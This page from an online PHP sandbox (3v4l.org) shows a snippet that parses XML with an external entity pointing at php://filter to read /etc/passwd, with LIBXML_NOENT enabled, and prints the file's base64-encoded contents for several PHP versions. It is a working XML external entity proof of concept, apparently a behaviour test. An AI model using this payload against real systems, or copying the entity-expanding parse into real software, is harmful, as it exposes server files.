3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $xml = '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE strony [ <!ENTITY shp SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ] > <strony> <strona id="cccc"> <nazwa>bbbb</nazwa> <url>http://www.aaaa.pl/</url> <komentarz> &shp;</komentarz> </strona> </strony>'; $strony = new SimpleXMLElement($xml, LIBXML_NOENT); foreach($strony->strona->komentarz as $komentarz) echo "$komentarz\n";
based on kRYuQ
Output for 5.6.0 - 5.6.38, 7.0.0 - 7.3.1
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApiaW46eDoxOjE6YmluOi9iaW46L3Vzci9iaW4vbm9sb2dpbgpkYWVtb246eDoyOjI6ZGFlbW9uOi86L3Vzci9iaW4vbm9sb2dpbgptYWlsOng6ODoxMjptYWlsOi92YXIvc3Bvb2wvbWFpbDovdXNyL2Jpbi9ub2xvZ2luCmZ0cDp4OjE0OjExOmZ0cDovc3J2L2Z0cDovdXNyL2Jpbi9ub2xvZ2luCmh0dHA6eDozMzozMzpodHRwOi9zcnYvaHR0cDovdXNyL2Jpbi9ub2xvZ2luCm5vYm9keTp4Ojk5Ojk5Om5vYm9keTovOi91c3IvYmluL25vbG9naW4Kc3lzdGVtZC1qb3VybmFsLWdhdGV3YXk6eDoxOTE6MTkxOnN5c3RlbWQtam91cm5hbC1nYXRld2F5Oi86L3Vzci9iaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTkyOjE5MjpzeXN0ZW1kLXRpbWVzeW5jOi86L3Vzci9iaW4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDoxOTM6MTkzOnN5c3RlbWQtbmV0d29yazovOi91c3IvYmluL25vbG9naW4Kc3lzdGVtZC1idXMtcHJveHk6eDoxOTQ6MTk0OnN5c3RlbWQtYnVzLXByb3h5Oi86L3Vzci9iaW4vbm9sb2dpbgpzeXN0ZW1kLXJlc29sdmU6eDoxOTU6MTk1OnN5c3RlbWQtcmVzb2x2ZTovOi91c3IvYmluL25vbG9naW4K
Output for hhvm-3.15.4

Process exited with code 137.